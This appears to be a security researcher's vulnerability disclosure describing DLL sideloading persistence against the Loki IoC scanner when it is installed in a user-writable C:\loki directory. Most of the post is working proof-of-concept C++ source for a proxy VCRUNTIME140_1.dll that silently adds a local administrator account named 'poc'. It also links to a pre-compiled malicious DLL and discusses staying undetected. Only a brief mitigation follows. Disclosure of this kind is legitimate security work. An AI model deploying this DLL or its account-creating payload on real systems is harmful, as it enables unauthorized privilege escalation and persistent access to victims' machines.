MOHAMMED ADEL
Published on

Loki Scanner; Persistence via DLL Sideloading

Authors
  • avatar
    Name
    MOHAMMED ADEL
    Twitter

What is Loki

Loki is a free and open-source tool used to detect Indicators of Compromise (IoCs) related to various types of malware and security breaches. It identifies artifacts left by malware, hacking tools, and other malicious activities on a system, checking for suspicious files, processes, registry keys, and other indicators. Loki uses signature-based detection and supports YARA rules for identifying malware families and custom indicators. It examines files, processes, and memory for signs of malicious activity and allows users to define custom signatures and rules for tailored detection, making it a versatile tool for forensic investigations and security monitoring.

Loki's Installation Process

Loki does not come with a traditional installer executable. Instead, we have noticed that system administrators often place Loki in the C:\loki directory. This directory choice is insecure because it is writable by all authenticated users, which means any user with authentication can modify the files within it. This broad write access exposes the system to potential security risks, such as unauthorized modifications and exploitation, including DLL sideloading attacks.

Loki's DLL Loading Mechanism

Loki's DLL loading mechanism does not rely on an absolute path when loading DLLs, nor does it use signature verification for certain critical DLLs. One such DLL is VCRUNTIME140_1.dll, a runtime component of Microsoft Visual C++ Redistributable that provides necessary runtime functions for applications built using Visual Studio. Because Loki does not verify the signature or use an absolute path to locate VCRUNTIME140_1.dll, it gives attackers the opportunity to craft a custom malicious version of this DLL. When Loki attempts to load VCRUNTIME140_1.dll, it will load the malicious version if it is placed in the same directory as Loki, allowing the attacker to execute arbitrary code with the same privileges as Loki. This lack of stringent verification in the DLL loading process exposes Loki to significant security risks, including DLL sideloading attacks. Once the malicious DLL is loaded, attackers can gain persistent access to the affected system, maintaining their foothold even after reboots and potentially performing further malicious activities.

Loki's DLL Sideloading Vulnerability

When Loki is placed in a directory writable by all users, such as C:\loki, it becomes particularly susceptible to DLL sideloading attacks. We can exploit this vulnerability by placing a malicious version of VCRUNTIME140_1.dll in the same directory. Since Loki does not verify the integrity or source of this DLL, it will load our malicious version, allowing us to execute arbitrary code with the same privileges as Loki.

To avoid detection and ensure the application continues to function normally, we must compile and modify a custom VCRUNTIME140_1.dll, a component of the Microsoft Visual C++ Redistributable, that does not interfere with Loki's functionalities. This means the malicious DLL must be carefully crafted to maintain the application's flow and deliverables, preventing any operational issues or triggering an uninstallation of Loki.

By ensuring the malicious DLL does not disrupt Loki's normal operations, we can maintain persistent access to the targeted system. This persistent access allows us to perform a wide range of malicious activities, such as stealing sensitive data, installing additional malware, or using the compromised system as a foothold to attack other systems within the network. The combination of Loki's insecure DLL loading mechanism and the practice of placing it in a writable directory significantly increases the risk and impact of DLL sideloading attacks.

Proof of Concept (PoC)

To demonstrate the DLL sideloading vulnerability in Loki, we have prepared a video walkthrough, custom DLL codes, and a pre-compiled malicious DLL. These resources illustrate how an attacker can exploit this vulnerability to gain persistent access to a targeted system.

Video Demonstration

The video demonstration of the attack provides a step-by-step guide on how to exploit the DLL sideloading vulnerability in Loki. It covers the process of placing the malicious VCRUNTIME140_1.dll in the writable C:\loki directory and executing Loki to load the malicious DLL.

Little red ridning hood

Custom DLL Code

The custom DLL code used in this proof of concept is designed to avoid detection and ensure Loki's normal operations while performing malicious activities. The code is crafted to add a user named poc and add this user to the local administrators group without disrupting Loki’s functionalities.

  • dllmain.cpp
#include "pch.h"
#include <Windows.h>
#include <tchar.h>
#include "vcruntime.h"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        proxy::init_runtime();

        // command to execute
        TCHAR szPath[MAX_PATH];
        GetSystemDirectory(szPath, MAX_PATH);
        _tcscat_s(szPath, _T("\\cmd.exe /c net user poc Password01@ /add && net localgroup administrators poc /add"));

        // Start the process in the background
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));
        CreateProcess(NULL, szPath, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    if (ul_reason_for_call == DLL_PROCESS_DETACH)
    {
        proxy::free_runtime();
    }
    return TRUE;
}
  • vcruntime.cpp

namespace proxy
{
    inline void crash()
    {
        uint8_t* memory = nullptr;
        *memory = 0;
    }

    HMODULE getLocalVCRuntime()
    {
        return LoadLibraryExW(_T(VC_RUNTIME_LOCAL_LIB), NULL, LOAD_LIBRARY_SEARCH_APPLICATION_DIR);
    }

    HMODULE getSystemVCRuntime()
    {
        size_t len = 0;
        static wchar_t runtimePath[MAX_PATH];

        if (GetSystemDirectoryW(runtimePath, MAX_PATH - 1))
        {
            const wchar_t* runtime = _T(VC_RUNTIME_LIB);
            wchar_t* endPath = runtimePath;

            while (*endPath++) ++len;

            if (len + ARRAYSIZE(VC_RUNTIME_LIB) > MAX_PATH)
                return FALSE;

            *(--endPath)++ = '\\';
            while (*endPath++ = *runtime++);

            return LoadLibraryExW(runtimePath, NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
        }
        return nullptr;
    }

    void init_runtime()
    {
        if (!g_hRuntime)
        {
            g_hRuntime = getLocalVCRuntime();
            if (!g_hRuntime) g_hRuntime = getSystemVCRuntime();

            if (g_hRuntime)
            {
                g_CxxFrameHandler4 = (_CxxFrameHandler4_t)GetProcAddress(g_hRuntime, "__CxxFrameHandler4");
            }
        }
        
        if (!g_CxxFrameHandler4) crash();
    }
    void free_runtime()
    {
        if (g_hRuntime)
        {
            FreeLibrary(g_hRuntime);
            g_CxxFrameHandler4 = nullptr;
            g_hRuntime = nullptr;
        }
    }
}
  • vcruntime.h
#pragma once

#ifdef _MSC_VER
#pragma once
#endif

#ifndef VCRUNTUME_1_LOADER
#define VCRUNTUME_1_LOADER

#include <stdint.h>

#define  RUNTIME_EXPORT         extern "C"

#ifdef _M_X64
#define  RUNTIME_CALL           __fastcall
#else
#define  RUNTIME_CALL           __cdecl
#endif

#define VC_RUNTIME_LIB          "vcruntime140_1.dll"
#define VC_RUNTIME_LOCAL_LIB    "vcruntime140_2.dll"

#ifndef LOAD_LIBRARY_SEARCH_SYSTEM32
#define LOAD_LIBRARY_SEARCH_SYSTEM32            0x00000800
#endif

#ifndef LOAD_LIBRARY_SEARCH_APPLICATION_DIR
#define LOAD_LIBRARY_SEARCH_APPLICATION_DIR     0x00000200
#endif

namespace proxy
{
    void init_runtime();
    void free_runtime();
}

#endif

Pre-compiled Malicious DLL

We have also provided a pre-compiled version of the malicious VCRUNTIME140_1.dll that adds a user named poc and grants this user local administrator privileges. This DLL can be used to replicate the attack described in the video demonstration. You can download the pre-compiled DLL from the following link.: https://github.com/polar0x/VCRUNTIME140_1.dll

Affected Versions

The DLL sideloading vulnerability in Loki affects the following versions:

  • loki_0.51.0
  • loki_0.50.1
  • loki_0.50.0

These versions do not rely on an absolute path or perform signature verification for certain critical DLLs, making them susceptible to DLL sideloading attacks. Users of these versions should be aware of the potential risks and take appropriate measures to secure their installations.

Mitigation / Fix

To mitigate the DLL sideloading vulnerability, ensure that Loki is installed in a directory with restricted write permissions, such as C:\Program Files\Loki. This directory should only be writable by administrative users to prevent unauthorized modifications.

Reference